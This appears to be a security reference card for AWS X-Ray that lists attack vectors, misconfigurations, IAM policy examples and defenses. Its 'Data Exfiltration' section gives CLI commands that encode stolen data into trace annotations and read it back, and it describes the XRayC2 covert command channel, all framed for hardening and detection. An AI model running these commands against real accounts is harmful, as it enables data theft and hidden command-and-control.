



AWS X-Ray Security

MONITORING

AWS X-Ray is a distributed tracing service that collects data about requests served by your application. Trace data can contain sensitive application details, PII in annotations/metadata, internal architecture topology, and downstream service dependencies. X-Ray has been weaponized as a covert C2 channel (XRayC2) by encoding commands into trace annotations.

HIGH

Data Sensitivity

**Always on
(default:
built-in,
optional:
KMS)**

Encryption at Rest

**Management
(default) +
Data (opt-in)**

CloudTrail Logging

PROVEN

C2 Abuse Risk



Service Overview

Trace Data and Segments

X-Ray collects trace segments from instrumented applications. Each segment contains timing data, annotations (indexed key-value pairs), and metadata (non-indexed key-value pairs of any type). Annotations and metadata can inadvertently contain PII, secrets, database queries, or internal service topology.

Red Team Note: Annotations are indexed and searchable via filter expressions -- any sensitive data in annotations is queryable by anyone with `xray:GetTraceSummaries` permission.

Integrations

X-Ray natively integrates with Lambda, API Gateway, ECS, EKS, EC2, SNS, SQS, EventBridge, and App Mesh. DynamoDB calls appear in traces via AWS SDK instrumentation, not as a native integration. Lambda active tracing automatically creates trace segments for invocations. API Gateway tracing is enabled at the stage level. ECS/EKS use the X-Ray daemon as a sidecar container.

Attack Note: The XRayC2 tool (by RootUp) weaponizes X-Ray as a covert command-and-control channel. It encodes commands into trace annotations via `PutTraceSegments` and retrieves results via `GetTraceSummaries`/`BatchGetTraces`, blending malicious traffic with legitimate tracing data over `xray`.
[region].amazonaws.com endpoints.

Security Risk Assessment



7.0

Risk Score

X-Ray trace data exposes application internals, service topology, and potentially PII. The service has been demonstrated as a viable C2 channel. Misconfigured encryption and overly broad IAM permissions amplify risk. However, X-Ray itself does not directly control infrastructure, limiting blast radius compared to services like IAM or EC2.

✖ Attack Vectors

Data Exfiltration via Traces

- Encode stolen data into trace annotations/metadata via `PutTraceSegments`
- Retrieve exfiltrated data via `GetTraceSummaries` or `BatchGetTraces`
- Use base64-encoded payloads in annotation values to blend with normal trace data
- Leverage cross-account observability (OAM links) to send data to external monitoring accounts
- Abuse put-resource-policy to grant cross-account access to trace data

Reconnaissance and C2

- Extract application topology from service graphs (`GetServiceGraph`)
- Map internal service dependencies and downstream API calls from trace data
- Use XRayC2 three-phase C2: beacon via `PutTraceSegments`, command delivery via annotations, exfil via trace segments
- Poll for commands using `GetTraceSummaries` with filter expressions on annotations
- Enumerate sampling rules to understand what traffic is being traced (`GetSamplingRules`)

⚠ Misconfigurations

Encryption and Access

- Using default AWS-managed encryption instead of customer-managed KMS key (limits audit and key rotation control)
- Granting `xray:*` (`AWSXrayFullAccess`) to application roles that only need write access
- Not enabling CloudTrail data events for X-Ray (`PutTraceSegments` calls go unlogged by default)
- Allowing `PutTraceSegments` from unexpected principals (enables C2 and data injection)
- Missing resource policies to restrict cross-account trace submission

Data Exposure

- Logging PII, secrets, or tokens in trace annotations (indexed and searchable)
- Logging sensitive data in trace metadata (stored in plaintext within traces)
- Overly broad sampling rules that capture all traffic including sensitive endpoints
- Not using X-Ray groups with filter expressions to isolate sensitive trace data
- Granting `AWSXrayCrossAccountSharingConfiguration` without restricting which accounts can link

Enumeration

List Encryption Configuration

```
aws xray get-encryption-config
```

List All Sampling Rules

```
aws xray get-sampling-rules
```

List All Groups

```
aws xray get-groups
```

Get Trace Summaries (last 10 minutes)

```
aws xray get-trace-summaries \
  --start-time $(date -u -d '1
0 minutes ago' +%s 2>/dev/null
|| date -u -v-10M +%s) \
  --end-time $(date -u +%s)
```

Retrieve Specific Traces

```
aws xray batch-get-traces \
  --trace-ids "1-67890abc-def0
12345678abcdef012345"
```

Get Service Graph (last hour)

```
aws xray get-service-graph \
  --start-time $(date -u -d '1
hour ago' +%s 2>/dev/null || d
ate -u -v-1H +%s) \
  --end-time $(date -u +%s)
```

List Resource Policies

```
aws xray list-resource-policie
s
```

Data Exfiltration

Injecting Data into Traces

An attacker with xray:PutTraceSegments permission can encode arbitrary data into trace segments:

```
aws xray put-trace-segments \
  --trace-segment-documents '{
    "trace_id": "1-67890abc-def012
345678abcdef012345",
    "id": "abcd1234abcd1234",
    "start_time": 1700000000,
    "end_time": 1700000001,
    "name": "exfil-segment",
    "annotations": {
      "payload": "BASE64_ENCODED_S
TOLEN_DATA_HERE"
    }
  }'
```

Retrieving Exfiltrated Data

An attacker retrieves data by filtering on known annotation keys:

```
aws xray get-trace-summaries \
  --start-time $(date -u -d '1 hou
r ago' +%s 2>/dev/null || date -u
-v-1H +%s) \
  --end-time $(date -u +%s) \
  --filter-expression 'annotation.
payload BEGINSWITH "exfil"'
```

Then fetch full trace content:

```
aws xray batch-get-traces --trace-
ids "1-67890abc-def012345678abcdef
012345"
```

Warning: PutTraceSegments is a data event in CloudTrail. Unless CloudTrail data events are explicitly enabled for X-Ray, these calls are invisible to audit logs.

List Tags on a Resource

```
aws xray list-tags-for-resource \
  --resource-arn "arn:aws:xray:us-east-1:123456789012:group/my-group/UniqueID"
```

Get Insight Summaries

```
aws xray get-insight-summaries \
  --start-time $(date -u -d '24 hours ago' +%s 2>/dev/null | date -u -v-24H +%s) \
  --end-time $(date -u +%s) \
  --group-arn "arn:aws:xray:us-east-1:123456789012:group/my-group/UniqueID"
```



Policy Examples

✗ Overly Permissive -- Full X-Ray Access

```
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "xray:*",
    "Resource": "*"
  }]
}
```

Grants full control including encryption changes, sampling rule modification, resource policy changes, and ability to read all trace data. Equivalent to AWSXRayFullAccess.

✓ Least Privilege -- Application Write-Only (Daemon)

```
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "xray:PutTraceSegments",
      "xray:PutTelemetryRecords",
      "xray:GetSamplingRules",
      "xray:GetSamplingTargets",
      "xray:GetSamplingStatisticSummaries"
    ],
    "Resource": "*"
  }]
}
```

Matches the AWSXRayDaemonWriteAccess managed policy. Allows sending traces and retrieving sampling configuration only. No read access to trace data.

✓ Least Privilege -- Read-Only Monitoring

```
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "xray:GetSamplingRules",
      "xray:GetSamplingTargets",
      "xray:GetSamplingStatisticSummaries",
      "xray:BatchGetTraces",
      "xray:GetServiceGraph",
      "xray:GetTraceGraph",
      "xray:GetTraceSummaries",
      "xray:GetGroups",
      "xray:GetGroup",
      "xray:ListTagsForResource",
      "xray:ListResourcePolicies",
      "xray:GetTimeSeriesServiceStatistics",
      "xray:GetInsightSummaries",
      "xray:GetInsight",
      "xray:GetInsightEvents",
      "xray:GetInsightImpactGraph",
      "xray:BatchGetTraceSummaryById",
      "xray:GetDistinctTraceGraphs"
    ],
    "Resource": "*"
  }]
}
```

Read-only access for security monitoring. Matches the AWSXrayReadOnlyAccess managed policy. Cannot modify sampling rules, encryption, or submit trace data.

✓ Deny Encryption Downgrade

```
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Deny",
    "Action": "xray:PutEncryptionConfig",
    "Resource": "*",
    "Condition": {
      "ArnNotLike": {
        "aws:PrincipalArn": "arn:aws:iam::*:role/SecurityAdmin"
      }
    }
  }]
}
```

Prevents non-admin roles from changing X-Ray encryption configuration. X-Ray does not provide service-specific condition keys, so the policy denies PutEncryptionConfig for all non-admin principals. Note: setting encryption type to NONE reverts to default built-in encryption -- X-Ray always encrypts data at rest.



Defense Recommendations

Enable Customer-Managed KMS Encryption

Use a customer-managed KMS key for full control over key rotation, auditing, and access. Verify the configuration:

```
aws xray put-encryption-config \  
  --type KMS \  
  --key-id alias/xray-tracing-key
```

```
aws xray get-encryption-config
```

Enable CloudTrail Data Events for X-Ray

By default, only management events (CreateGroup, PutEncryptionConfig, etc.) are logged. Enable data events to capture PutTraceSegments, GetTraceSummaries, and BatchGetTraces calls.

Monitor for C2 Indicators

Alert on anomalous patterns that indicate XRayC2 abuse:

- Unexpected spikes in PutTraceSegments from non-application principals
- Repeated GetTraceSummaries calls with annotation filter expressions from unusual IAM entities
- Trace annotations containing base64-encoded or unusually long values
- PutTraceSegments from IP addresses outside known application infrastructure

Restrict PutTraceSegments to Known Roles

Only application roles running the X-Ray daemon or SDK should have PutTraceSegments permission. Deny this action for human users and non-application roles.

Review and Harden Sampling Rules

Audit sampling rules to ensure sensitive endpoints are either excluded or sampled minimally. Remove or restrict the default sampling rule if it captures sensitive traffic.

```
aws xray get-sampling-rules
```

Restrict Cross-Account Access

Review resource policies and OAM links. Remove unnecessary cross-account sharing.

```
aws xray list-resource-policies
```

Sanitize Trace Data

Ensure application code does not log PII, secrets, API keys, or tokens in X-Ray annotations or metadata. Annotations are indexed and searchable -- treat them as semi-public within anyone who has X-Ray read access.

AWS X-Ray Security Card

Always obtain proper authorization before testing